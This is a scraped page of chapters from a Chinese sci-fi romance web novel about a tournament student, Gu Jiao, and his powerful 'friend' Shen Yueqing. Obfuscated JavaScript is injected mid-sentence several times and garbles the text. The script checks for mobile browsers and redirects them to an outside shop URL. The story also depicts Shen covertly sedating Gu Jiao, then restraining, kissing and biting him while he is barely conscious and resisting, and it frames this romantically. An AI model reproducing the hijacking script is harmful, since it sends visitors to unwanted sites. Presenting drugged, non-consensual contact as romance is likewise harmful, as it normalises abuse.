李二哭丧着脸,指指不远处的全息大屏:“下一场比赛轮到你了,对、对手是……” 他一脸踩到狗屎的表情,展扬不耐地看过去,然后表情一僵。 “敖、敖天?” - 按照顾骄原本的计划,不管复赛是赢是输,他都要留下把接下来的比赛看完。 但当他结束比赛回到席位上,周围齐刷刷投来一大片热切的目光,如果不是他的外表足够冷酷,早就有人凑过来和他搭话了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13419449|140228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 远看的时候还不觉得,距离近了再面对这些目光,顾骄止不住地紧张起来。 他要离开这里避避风头。 睡眠舱虽然小了点,但里面是完全属于他自己的私人空间。关上舱门,将各色目光隔绝在门外,顾骄总算松了口气,发现自己的掌心湿漉漉的。 他只是赢了复赛而已,大家的反应也太热烈了。 虽然很不好意思,但……感觉似乎还不赖^-^ 心情平复下来之后,顾骄想起了比赛时伽蓝越对自己说的话,越想越觉得有问题,有大问题。 按照伽蓝越的说法,他非常笃定那话出自自己之口,完全没想过误解的可能。所以一定是有人用自己的名义在外面胡说八道。 至于人选,顾骄想来想去,除了展扬,好像再也想不出第二个人了。 但猜测归猜测,没有切实的证据,他不会贸贸然去找人对峙。他一个人在主星无依无靠,惹到事没人能为他撑腰,为了不给母星添麻烦,能忍则忍吧。 在休眠舱待到九点过,洗完澡,天色完全暗了下来。 估摸着这个时间大家都吃过饭了,顾骄换了套衣服,戴好帽子,趁着夜色窸窸簌簌地摸了出去。 不出所料,负一楼只有小猫三两只。顾骄放下心来,直奔窗口,快准狠地打包好一份红糖汤圆,准备带回去吃。 “顾骄。” 身后忽然有人叫他的名字。 陌生的声音,顾骄脚步顿了顿,陷入纠结。要不装作没听见算了。 然而对方根本没给他装傻充愣的机会,叫完他之后直接大步上前挡住他的去路。 高大壮实的身躯目测超过两米,比顾骄高了足足一个头,灯光全被遮挡,阴影将顾骄整个人都笼罩在内。 抬眼看清来人的模样,顾骄一愣,随即立马转移视线,“你、你认错人了,我不是顾骄。” 敖天一笑,指了指自己:“知道我是谁吗?” “不认识。” 话音刚落,眼前忽然一花,手里提着的打包袋猝不及防被夺走,然后只听“啪”的一声,汤水四溅。 滚烫的汤水打湿了顾骄的裤腿。 看着满地乱滚的小汤圆,他陷入死一般的沉默。 15.第 15 章 “你的比赛我看过,确实有点东西。” 敖天自上而下睨着顾骄,下三白的眼型无形中透出不善的意味,“不过我很好奇,你精神力等级不低,为什么不用在赛场上?” 顾骄看着躺在地上慢慢软榻下去的小汤圆,一言不发。 敖天轻哼:“听说你来自古武星,我猜……你的精神力应该有某种缺陷,对吧?” 见顾骄还是没反应,敖天啧了一声:“我可不像外面的蠢货那么好打发,别以为装神秘就能混过去,说话!” 最后一句带出了点精神力,震得头顶灯光晃了晃。 如敖天所愿,顾骄总算有了反应。 他慢慢抬头,目光从死去的红糖汤圆转移到敖天傲慢的脸上,顿了顿,吐出两个字: “十二。” 敖天诧异皱眉:“什么?” “你打翻的这份汤圆……”顾骄指指地上,“加上打包袋,共计十二星币。” “赔钱。现金还是转账?” 敖天愣了两秒,反应过来之后简直要气笑了。 “我在这儿跟你说了半天,合着你脑袋里就只有那份该死的汤圆?” 顾骄不想多说话,他一天没吃饭了,好不容易趁着没人出来吃口汤圆,结果还被莫名其妙的人搅和,现在他的心情很不好。 在赔钱之前,他是坚决不会给对方任何好脸色的。 敖天根本没把他的话当回事,能参加百校联赛的多少在学院里都算个人物,更别提顾骄已经打进了决赛圈,怎么可能把一份汤圆放在眼里,又不是小学生。 “喂,你知不知道今天的事是谁在背后搞鬼?” 他自顾自地切入正题,“这两天有人往你身上泼的脏水不少,我还以为能是个什么厉害角色,结果嘛……也就那样。” 想起白天的比赛,他舔了舔嘴唇,满脸意犹未尽。 “虽然他实力不怎样,但是意外地很抗揍,腿都被我踩断一条,还能死撑着不认输。啊!我忘了……” 说到这里,敖天挑眉看向顾骄:“……你好像和他同校来着。像蟑螂一样怎么踩都死不透,是你们联邦人的传统美德么?” 图穷匕见。 顾骄这下可以确定,对方是专程来挑衅自己的。 只是因为在人群中多看了他一眼? 不懂。 而且,虽然展扬平时对顾骄横眉竖眼的,这次的事情也多半是他在背地里扇阴风,但同为联邦学院的学生,顾骄觉得他们这个时候应该一致对外。 展扬被敖天暴打,他并不会感到高兴。 ……也不会生气。 至于敖天的挑衅,他有时候自己心里脑补的话比这难听多了,这种程度对他毫无杀伤力。 现在最重要的事情是—— “赔钱。” “十二星币。” “赔钱。” “十二星币。” “赔钱。” “……” 敖天:? “你是不是有病?” 虽然当复读机是有点奇怪,但没办法,谁让顾骄是个穷鬼。这次出门,他身上就只带了这么点钱,不让敖天赔钱,他就只能空着肚子回去了,会饿得睡不着。 但敖天是不会赔的,因为他身上也没钱。 吃霸王餐是他们暗域的传统美德。 两人就这么大眼瞪小眼,陷入了奇怪的对峙。 “滴滴——” 一则消息提醒打破寂静,顾骄低头一看,他收到了一条实时定位信息,来自沈月卿。 定位显示沈月卿正在前往天马空间站的路上,并且很快就将着陆。 后面跟着一条语音消息。 “赛场附近的蟹黄云吞很有名,要一起去尝尝么?” 顾骄:! 沈先生来了!还邀请他一起吃晚饭? 阵亡的红糖汤圆立刻被抛到脑后,顾骄忍不住笑了起来,正了正帽子,连带着给了敖天一个好脸色。 “我朋友来了,赔钱的时明天再说吧,我先走了~” 敖天正在走神,顾骄光脑里传出的声音他似乎在哪儿听过,潜意识告诉他这很重要,可他就是想不起来。 见顾骄要走,他不死心地还想继续纠缠,可就是几秒钟的功夫,顾骄已经窜出去老远,只能远远地看到轮廓。 他暗自嘀咕:“这家伙,怪人一个,能有什么朋友。” 然后鬼使神差地跟了上去。 夜幕降临,白日里喧嚣热闹的悬浮航道也变得冷清许多。顾骄一边走一边四处张望,很快在不远处的着陆点发现了熟悉的暗红色飞行器。 沈月卿穿了一身浅色风衣,衣摆轻扬,墨黑长发拢在身后,月色下显得格外轻柔。 看见顾骄,他唇角勾起,遥遥招手轻唤:“骄骄。” 顾骄走上前去,面上一热,同样的称呼,隔着光脑听到和面对面听到是完全不一样的感受。 他眼神飘忽,难为情地说:“沈先生,您怎么……忽然间这么叫我呀?” 沈月卿:“你不喜欢吗?” 顾骄:“那倒不是……” 沈月卿的目光肆无忌惮扫过顾骄的脸庞,忽然神色一凝,语气也沉了下来。 “这里是怎么回事?” 顾骄感到脸侧一凉,沈月卿的指尖轻轻抚弄他的伤口,触感微微发痒,夹杂着些许刺痛。 “没、没什么。”沈月卿的指尖存在感太强,顾骄快速眨了眨眼,结结巴巴地说,“白天比赛的时候……不小心弄伤的。” 这个动作让两人之间的距离不知不觉拉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430673|140228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很近,近到能触碰到彼此的呼吸,一缕奇异的幽香缭绕在顾骄鼻尖,让他感到头脑轻飘飘地发晕。 他听见沈月卿问:“上药了吗?” “只是一点小伤。”顾骄说,“很快就会好的。” 话音刚落,就见沈月卿从符辛手里接过一个小瓶子,里面装着深褐色的液体,上面没有标签。 顾骄这才注意到跟在沈月卿身后的符辛,“管家先生也来了。” “别动。” 沈月卿低低的声音在耳边响起,他单手捧着顾骄的脸,用指腹将液体细细涂抹在伤口处。 那液体应该是某种效果很好的伤药,沾上的地方痒痒的,伤口以肉眼可见的速度在愈合。 顾骄强忍着动手挠痒的冲动,注意力不知不觉被沈月卿吸引了过去。 他真的很漂亮。 虽然用漂亮来形容一个男人并不合适,但顾骄实在想不出更贴切的描述词。 沈月卿的美是雌雄莫辨的美,眼波流转间带着惑人心神的妖冶气息,但他言行中透出的清雅温柔又起到了若有若无的克制作用。 这就导致顾骄每每不自觉地被他吸引,回过神来后就会进行自我谴责,觉得自己误解了对方的好意。 就像现在,两人靠得很近,沈月卿指尖抚过顾骄侧脸,轻柔的目光专注落在伤口上,顾骄却不自觉地看向他的嘴唇。 之前一直没发现,原来沈先生嘴角下方有颗很不起眼的小痣。 夜风清凉,顾骄却觉得身上有些发热,唇瓣也发干,他喉结不自觉滚动了一下,那颗小痣就好像有魔力,将他的目光黏在上面收不回来。 他的走神过于明显,没意识到微风正拨弄着他的头发,露出饱满的额头,还有那双总是压在碎发下的眼睛。 睫毛随着目光的流转轻轻闪动,眼尾是自然下垂的弧度,无声垂眸注视着某物时,就像无辜的小狗在乞食。 抚摸着脸侧的动作逐渐变了意味,危险寸寸靠近,顾骄还浑然不觉。 “谁!” 符辛忽然出声,向远处闪去。 顾骄一惊,骤然回神,越过沈月卿的肩膀向外看,“发生什么事了?” “没事。”沈月卿没有向后看一眼,捏了捏顾骄的后颈,带着他转向空间站的方向。 “让他处理就好,我们去吃饭。” 另一边,符辛很快抓住了正在外逃的某人,逮住一看—— “敖天?你怎么会在这里?” 目睹一切之后的敖天堪比被命运扼住了咽喉,脸上再也瞧不见一点倨傲。想起自己十分钟前干过的好事,他绝望地缓缓闭眼。 “符副官,有个很重要的问题,你能不能告诉我……”他艰难地咽口唾沫,舌尖发苦。 “顾骄和首领……他们是什么关系?” 16.第 16 章 沈月卿带顾骄来到了一家旋转餐厅。 餐厅位于整个天马空间站最高建筑的顶层,透过大片透明落地窗,可以看清不远处的赛场轮廓,还有在空间站之外运行的不知名星球。 顾骄第一次来这么高端的餐厅,看得一愣一愣的,门口的迎宾机器人对他九十度鞠躬:“欢迎光临~” 他不假思索地给机器人鞠了回去。 鞠完发现沈月卿笑着看自己,顾骄不好意思地摸摸鼻子,作为古武星唯一对外形象担当,他要时刻注意礼貌问题,不能让外星人对古武星留下坏印象。 看了菜单发现这里的食物都贵得吓人,一份简单的沙拉能抵得上顾骄大半身家,特色招牌菜蟹黄云吞更是价高得让他害怕。 这哪里是他吃饭?分明是饭吃他顾骄…… 透过菜单边缘,顾骄小心瞄了沈月卿一眼,“咳咳,我去下洗手间。” 离开座位后,他飞速来到迎宾机器人面前,戳戳它的金属外壳:“帮我点一份这里最便宜的菜,谢谢你。” 机器人:“好滴~” 心满意足回到座位,面前已经放好了一份卖相极佳的蟹黄云吞,正冒着腾腾热气。 沈月卿将刚擦干净的餐具递给他,“回来了。” 来这里之前沈月卿就已经预定好菜品了,顾骄顿时觉得自己刚才的行为像个傻子。 然而当味蕾接触到云吞的瞬间,今天所有的不愉快全部消失,他幸福到两眼发直,真希望时间能停止在这一刻。 吃着吃着,他注意到沈月卿面前又是空空如也,有了上次的经验,他出声问道:“沈先生,您不吃吗?” 沈月卿:“这里没有奶油蛋糕。” “云吞也好吃的!你尝尝?” 沈月卿轻笑着摇头,看着他说:“我只对奶油蛋糕有兴趣。” 顾骄没来由地有点不好意思,低头啜了口汤,过了一会儿才慢吞吞地抬起头,“……哦。” 帽檐下隐隐透出他泛红的耳尖,沈月卿饶有兴致地欣赏了一会儿,见他脑袋都快埋进碗里了,终于主动转移话题。 “我看了你今天的比赛。” “欸?” 顾骄一下抬头,他记得沈月卿好像没有出现在观众席。 “百校联赛由三十六个参赛行星实时转播,只要打开星网,全宇宙都能看到。” 这么夸张! 顾骄差点被呛到,本以为自己参加的就是个能加学分的寻常比赛,没想到来头这么大,全宇宙都能看到! “呃,那……有没有人、提到什么关于我的……” 顾骄欲言又止,担心从沈月卿口中听到某些不好的言论,比如他异于常人的外貌,又或者是落后星球的出身、糟糕的人际关系…… “大家都在夸你厉害。” 这句话让顾骄把心放回了肚子,然而沈月卿的下一句话却让他不知道该怎么回答。 “但为什么不用精神力呢?” 沈月卿凝眸看着他,视线准确捕捉到顾骄兜帽后的双眸,慢条斯理地补充: “你的体术很强,对付精神体却并非无往不利。既然精神力没有缺陷,为什么不用?” 顾骄低着头,有一下没一下地戳着云吞软糯的外皮,很快就将它摧残得皮开肉绽。 “我……我怕伤到别人。” “骄骄,这是比赛。”既然是比赛,受伤就是再寻常不过的事。 “我知道。”顾骄轻声说,“但那不一样,我控制不好精神力,不想……不想发生意外。” 显然他对这个话题有着强烈的抵触情绪,连美食也不能安抚。 这时送餐机器人滴滴地滑到两人桌边:“您点的柠檬水,请慢用~” 切片完美的柠檬沉在杯底,杯口点缀的薄荷叶翠绿欲滴,沈月卿伸手拿起,冰块碰撞出清凌凌的脆响,他低眉喝了一口。 “你点的?谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445101|140228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢,我很喜欢。” 顾骄看看柠檬水,又看看笑着的沈月卿,张了张嘴,半晌挤出一个:“嗯。” 这杯柠檬水不会就是店里最便宜的东西了吧?可那是他点给自己的,沈先生好像误会了…… 顾骄正在懊恼,忽然注意到沈月卿手中的玻璃杯正在冒着微弱的白色水汽,杯底的冰块也正以肉眼可见的速度融化。 顾骄愣了下,立刻想到什么。 “沈先生,您的精神力暴乱……” “被你发现了?” 沈月卿淡然一笑,往后靠了靠,晃晃手里的杯子,一饮而尽。 “没关系,这种程度,我还死不了。” 顾骄自责起来:“对不起,这段时间我只顾着自己的事情,都没有好好为您做过一次疏导,是我的错。” 沈月卿看着他:“别道歉。” “什么?” “别向我道歉,永远不要。” “为什么?” “因为我们是朋友。”沈月卿没再多说,起身擦了擦手,然后递给他一块手帕,“吃好了?我送你回去吧。” 接过手帕,顾骄犹豫了一下,也跟着站起来。 “沈先生,今晚我不回去了。”他抿唇道,“我为您做一次疏导吧。” 沈月卿:“你要跟我走?” 顾骄捏了捏指尖:“……可以吗?” 沈月卿:“不怕耽误明天的比赛?” 顾骄很认真:“您比比赛重要。” 沈月卿忽然笑了,没说好也没说不好,隔着兜帽揉了揉顾骄的脑袋,身上的异香愈发馥郁。 顾骄觉得头晕,好像是睡意上来了,他醒了醒神,忽然感觉后颈微痛,似乎被某种滚烫的东西蛰了一下。 伸手摸过去,什么也没有。 “不是要疏导么?走吧。” 沈月卿手搭上他的肩膀,他点点头,就这么昏昏沉沉地跟着离开了。 17.第 17 章 天马星际酒店,顶层套房。 顾骄站在阳台上吹风。 夜已深了,月光被乌云遮蔽,将夜色染成浓重的墨黑。路灯在低处透出暖黄色灯光,就像墨迹上无意落下的一抹油渍,格格不入。 这时候的夜风很温吞,拍在脸上也能提神。顾骄并不困,但他认为自己需要清醒清醒。 浴室的水声还在继续。 透过水雾弥漫的磨砂玻璃,隐约能看见其后不着寸缕的修长身影,顾骄不敢回头,老僧入定般直愣愣盯着下方的路灯,眼珠子都不转一下。 双手抓紧栏杆,心头总有种奇怪的羞涩感萦绕不去。 不要慌不要乱,好好准备疏导。 他在心里郑重告诫自己,总算将怪异的感觉强压了下去。 经过这几天的比赛、观赛,顾骄对精神力的理解和掌握都更上一层楼,虽然还做不到如臂使指,但现在的精神力强度绝对今非昔比。 上次疏导失败给了他很大打击,回家后他仔细复盘过,查阅了很多相关案例,功课做得相当充分。他有自信,如果再遇到上次那种情况,他绝不会再手足无措。 在脑海中默默演练一遍,顾骄暗自点头,他准备好了,这次一定成功! 水声渐渐减弱,最后彻底停下。 浴室的门打开,水汽在房间内扩散,给皮肤带来湿热的触感。皮肤彻底凉下去之前,顾骄听到身后传来沈月卿柔和的声音。 “骄骄,可以开始了。” 顾骄听话转身,忽然就僵住了,眼睛都不知道该往哪放。 湿润的长发蜿蜒而下,蛇一般延申到锁骨和侧腰,沈月卿脱下长款风衣,现在身上只穿着件单薄浴袍,腰间挂着松松垮垮的系带,锁骨以下的大片皮肤裸露在外,水珠顺着玉雕似的胸膛滚落,沿着皮肤纹理下滑,直至隐没在粉色边缘。 从来都是根正苗红乖宝宝的顾骄哪儿见识过这种阵仗?闹了个大红脸,嗖地把两眼一捂,恨不得自己是个瞎子。 “沈沈沈……沈先生,您怎么……” 沈月卿波澜不惊,看他的眼中含着笑意。 顾骄站在纠结措辞,对方的声音却已来到近前。 “手放下。” 顾骄不好意思放,犹犹豫豫地张开手指,透过指缝向外瞄,正好和沈月卿的视线撞了个正着。 他立刻又缩了回去。 然后他就感觉自己的手腕被捏住,缓缓放了下去。 极具冲击力的景象大剌剌摆在眼前,顾骄视线往上,强行固定在沈月卿脖子以上的位置,尽管刚洗完澡,但沈月卿身上的香味并未消失,反而更加馥郁,他好不容易冷静下来的头脑又开始犯糊涂。 沈月卿说:“别紧张,只是正常疏导。” 顾骄想,绝不能让沈月卿看出自己的窘迫,那样太不专业了,而且他们是朋友,朋友之间露个胸口什么的,应该也很正常吧…… “我不、不紧张,不紧张。” 然后他就眼睁睁看着沈月卿把自己带到了床边。 沈月卿放开他,上了床,而后拍拍自己身边的空位:“来。” 顾骄也不知道自己在干什么,他就像个僵硬的提线木偶,戳一下动一下,同手同脚地爬到床上,躺下,自己拉被子盖好。 他们是朋友……是朋友…… 好朋友在同一张床上睡觉也没什么的……很正常吧? 沈月卿看着他的动作失笑,索性也躺下来,侧身撑着脑袋看他:“睡了?” 顾骄闭上眼睛,胡乱点头。 沈月卿饶有兴致:“那……晚安?” 顾骄:“沈先生晚安。” 灯光熄灭,于是两人就这么睡下了。 过了一会儿,顾骄猛然睁眼。 不对啊。他不是来做精神力疏导的吗? 他腾地撑起身,挪到沈月卿身边,小声叫他:“沈先生,先别睡,咱们还没办正事呢。” 说完他就发现,沈月卿根本没睡,黑暗中一双漂亮的眼睛正看着他,眼中满是笑意,像是在说:你终于反应过来了。 顾骄终于明白,沈月卿是在逗他玩儿。 他微微睁大了眸子,“你、你故意的!” 灯光重新亮起,沈月卿慢条斯理坐起身,“嗯,故意的。” 顾骄又羞又恼,鼓着气在他肩膀上轻锤了一拳。 “你太坏了,为什么逗我?” 这一拳的力气跟小猫挠痒似的,沈月卿看都不看一眼,反而笑得更开心,捏捏他的后颈:“现在放松多了。” 顾骄这才意识到自己刚刚做了什么,赶紧把爪子收回来,下意识想要道歉,沈月卿先一步堵住他的话:“准备开始疏导吧。” 顾骄讷讷点头:“噢。” 经过这段时间的相处,他们的熟悉程度有了很大提升,疏导难度也会相应减小。 两人在床上相对而坐,与顾骄的如临大敌不同,沈月卿的态度相当放松,就好像体温失衡、精神力即将崩溃的人并不是他。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13457903|140228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “准备好了?” “嗯!”顾骄坚定点头。 沈月卿伸手揽过他的肩膀,两人的额头抵到一起,滚烫的温度随着心跳在肌肤之间传递,巨大的体温差异使双方的存在感比任何时候都要鲜明。 “开始吧。” 顾骄这次没有慌张,他是真的做好了准备,无论是技术还是心理。 精神力放出,他的意识也随之沉入进去。 …… 小水母第二次来到精神图景外围。 和上次不同,它肉眼可见地长大了许多,半透明的身体变得更加凝实,伞盖舒展,触须的数量也在增加。 眼前的“大门”仍旧紧闭,但小水母不需要再硬闯,它有了其他办法。 柔软的触须缓缓伸出,触碰到烙铁似的大门,它没有退缩,抖着触须继续向前,两股精神力如水般自然交融,它的身体逐渐被大门吸了进去。 挤压感和灼烧感开始减弱,它在不属于自己的精神力包围中始终稳定保持自我,没有被吞噬的迹象。 漫长的纠缠之后,它终于穿过大门,一头扎进了门后神秘的精神图景。 它看见一片广袤的大海。 海面无风,如死水般毫无波澜,不知名的阴影在海水中沉浮。小水母飘在岸边,这里的水很浅,是淡淡的蓝色。 身体变得很沉重,它抬起触须,底端沾染上了奇怪的红色浆液。 越远离岸边,海水的颜色就越深,直到最后已经完全丧失了原本的颜色,只剩下浓到近乎黑色的赤红。 小水母越漂越累,在海水中它本该畅快漫游,但这里却让它寸步难行,裹在身上的浆液一层又一层,它的身体不再轻盈,它快要漂不动了。 海中的阴影碰到它的触须,它低头看了一眼,那是一块看不出原本形状的碎肉,像是被生嚼活吞之后从胃里翻涌出来的呕吐物。 小水母一惊,身边密密麻麻的阴影让它毛骨悚然,它飞快地窜了出去,但不管窜得多快,它都摆脱不了这些可怕的阴影,它的速度再次慢下来,气喘吁吁。 好累……好困…… 飞速消耗的精神力让顾骄陷入沉重的睡意当中,他努力集中精神,狠狠咬舌使自己勉强保持清醒,效果却是微乎其微。 舌尖和唇肉都被咬得血肉模糊,鲜血止不住地从唇角溢出、滑落,沿着精致的下颌线聚拢,如同一块鲜红玛瑙,盈盈欲滴。 在即将坠地摔碎之时,有人伸舌舔舐,将它尽数纳入口中。 18.第 18 章 小水母的身体越来越重,触须的摆动越来越吃力,烂红浆液终于染透了它身上最后一寸,它无力地沉入海中。 被海水完全吞噬之前,它看到了长在海水深处的巨大藤蔓,凋败腐烂的根茎一直扎进望不到头的海底,藤蔓荆棘缠绕,无数形态怪异的肉块挂在表面,浓重的红色瘟疫般飞速向外扩散。 浆液很快将小水母的触须侵蚀殆尽,灼热迷乱的气息从精神体一直感染到本源,顾骄呼吸一紧,从中感知到了食欲、贪欲、情欲……还有铺天盖地压得人喘不过气的仇恨痛苦。 ……这片腥红深沉的海水之中,仿佛蕴含着世间所有的欲望和恨意。 从未体验过的强烈情感烧得他心肺滚烫。 他眼眸半睁,瞳孔失焦,汗水濡湿睫毛,头顶暖黄色的灯光在虹膜中摇曳。 一切感官都变得无比迟钝,只有萦绕在身边的异香始终清晰,闻得越多,触目可见的东西就越模糊。 他忽然想起落日谷庄园中生长的血色曼陀罗,那气味让他感到熟悉,是腥中带了一丝蜜一样的甜,并不好闻,但会让人上瘾。 他仿佛置身一场光怪陆离的梦境,放任思绪漂流远走,浑身血液随着不断加速的心跳在血管中奔流,这感觉让他很难受,但又忍不住追逐渴求。 模糊的光影在眼前闪动,灯光下有个熟悉的影子,顾骄半合着眼,喉结滚动了一下,伸出手去。 他不知道自己想要抓住什么,不知道自己在渴求什么,他只是下意识地伸出手,希望那人能帮帮自己。 他的手被握住了。 同样炽热的体温相撞,不分彼此。 不知道是谁先动的手,后来他们碰在一起的不止手掌。 顾骄用力呼吸,唇瓣传来刺痛,咬破后露在皮肤之外的嫩肉被肆意舔舐撕咬,疼得他眼泛泪光。 昏聩的大脑无法处理信息,他错乱到向始作俑者寻求安慰,伸出双手用力抱紧对方,两颗心脏在胸腔内同频跳动,一个惊慌,一个狂热。 很快,他的脸被人捧起,一直戴在头上的兜帽落了下来。 白发少年发丝凌乱,满脸潮红,瞳孔微微放大,无法聚焦地直视前方,眼中倒映出另一个人的影子。 沈月卿将他额前的碎发拨去,像是在剥开紧闭的蚌壳,露出里面脆弱的嫩肉,眼底满是顾骄不曾见过的欲.望。 从来,从来没有过一个人,像眼前这个人一样让暗域领主无可自抑地着迷。 他看着他,从眉眼到指尖,鼻尖贴上顾骄白皙滚烫的脖颈,沈月卿深吸一口气,满脑子都在叫嚣着想要发狂。 天知道这一路他忍得有多不耐烦。 他想要将顾骄的双手绑起来,锁在只有自己能看见的地方,让他日日夜夜只能扬起脖颈等待自己的索取。 他想用齿尖刺破顾骄的皮肤,一寸又一寸,将那些散发着香甜气息的血肉尽数吞咽下肚。 吃掉他! 吃掉他! 吃掉他吃掉他吃掉他吃掉他吃掉他吃掉他吃掉他吃掉他…… 身体里每一个细胞都在疯狂垂涎,面对毫无防备任人施为的少年,沈月卿的忍耐力直逼红线。 他想彻底拥有顾骄,想彻底毁灭顾骄,想让这个人完完全全与自己融为一体,连死亡也无法将他们分开。 顾骄太天真莽撞,无条件地信任他,依赖他。如果他稍微露出真面目,顾骄的反应一定会很美妙。 但他不能。 在将顾骄的身心完全掌握之前,他不会冒任何失去对方的风险。暂时的忍耐能换来足够价值的回报,沈月卿最擅长的就是忍耐。 他捏起顾骄的下巴,深深注视着这张迷乱的脸,手指穿过发缝,漂亮的白色发丝在指尖勾缠。 刚被摧残凌虐过的唇瓣嫣红肿胀,唇角挂着银丝,破口处洇出淡淡的粉色痕迹。 沈月卿再次吻了上去,这一次不再是浅尝辄止,舌尖探入口腔,攫取所有的血液和津液,几乎连顾骄的呼吸也一并夺去。 顾骄意识模糊,潜意识里却察觉到了危险,双手改抱为推,眉头因为忽如其来的窒息感皱了起来,眼角溢出莹莹泪光。 双手骤然被扣住,锁在头顶动弹不得,微弱的反抗换来的是更强硬霸道的肆虐,顾骄胸膛剧烈起伏,舌根发软,潮红从脸颊一直蔓延到耳根,连喉结也染上艳色。 这个吻越发深入,两人的身体紧紧相贴,泪水和汗水随着动作流淌,渗入肌肤之间的缝隙,填补每一个空缺。 顾骄失神的眼眸盯着头顶灯光,如同案板上的鱼肉任人宰割,那张好看到不似真人的脸上充满了迷茫的渴求,他的身体忍不住痉挛发颤,手指抓紧沈月卿的衣服,一次次收紧又放开。 眼前的人让他感到痛苦,却也让他迷上这种病态的快感,一边抗拒,一边追逐。 在生与死的交界线上挣扎了不知多久,身上的桎梏忽然离开,随即顾骄感到后颈一阵刺痛,利齿刺入皮肉,留下灼烧般的痛楚。 他唇瓣微张,没能发出任何声音,立马又被堵上。 这次不是掠夺,而是给予。 腥甜的滚烫血液涌入口中,脖颈高高扬起,顾骄被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13473448|140228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迫大口吞咽,很快困意袭来,他没法再控制自己的身体和意识,低低呜咽一声,沉沉昏睡了过去。 云歇雨霁,沈月卿直起身来,居高临下欣赏自己的杰作。 白发少年蜷缩在床上,眼角带泪,唇瓣满是伤痕,鸦青色睫毛像是清晨露重的芦苇,被生理性的泪意粘连。衣服上压出道道折痕,领口染上了暧昧的粉红色痕迹。 沈月卿俯身在顾骄后颈的咬痕处落下一吻,下床擦了擦脸,镜中人的眼神重新变得柔和从容,温柔淡然得如同天边流云。 打开房门,符辛早已在外候命。 沈月卿报了个尺寸,“照这个尺寸买套衣服过来。” 符辛丝毫不敢抬头向门内望一眼,低低应声,“是,属下这就去。” 房门关上,符辛总算能够直起腰,转身离去时眼神相当复杂。 走到酒店大门,拐角忽然窜出一个人影,“副官!您总算出来了,首领有说什么吗?” 符辛蹙眉:“敖天,你怎么还没走?” 敖天苦着一张脸卖可怜,但由于面相凶狠,这一招对他并不适用。 “您不给我个准话,我就是死也不能瞑目啊。首领他老人家怎么说?顾骄到底什么来头?您就告诉我吧!” 符辛之前不说,是因为他也不能确定首领对顾骄是什么态度,可想想方才首领交待自己办的事,两人之间的关系已经相当明了。 敖天是暗域九区出身,能从整个暗域排行最末的九区单枪匹马闯出来,成为影卫军预备役中的一员,还如此年轻,符辛自问就算是当年的自己也不一定能做到。 面对这样一个天赋绝佳、一心将首领当作毕生信仰的优秀战士,作为副官的符辛多少生出了些爱才之心,于是没有隐瞒地告诉他真相。 “如果你还想顺利转正,就别去招惹顾骄,后果我们都承担不起。” 敖天呆了,没想到答案对自己如此残忍。 符辛是谁?首领的副官,整个暗域一人之下万人之上的存在,连他都招惹不起的人,除了首领,敖天只能想到一个可能。 他好像听到了自己的世界崩塌的声音。 他抖着声线问:“那如果……我是说如果,我已经招惹他了呢?” 符辛看他的眼神变得怜悯,“首领知道这事吗?” “我……我不确定。” 符辛拍拍他的肩膀,“听我的,找个机会向顾骄道歉。在首领出手之前,如果能让他原谅你,那你或许还有机会。” “转正的机会?” “活命的机会。” 19.第 19 章 清晨的第一缕阳光透过窗帘缝隙直射进来,落到微微颤动着的睫毛上,顾骄缓缓清醒,从睡梦中睁眼。 第一时间感受到了唇瓣上的刺痛。 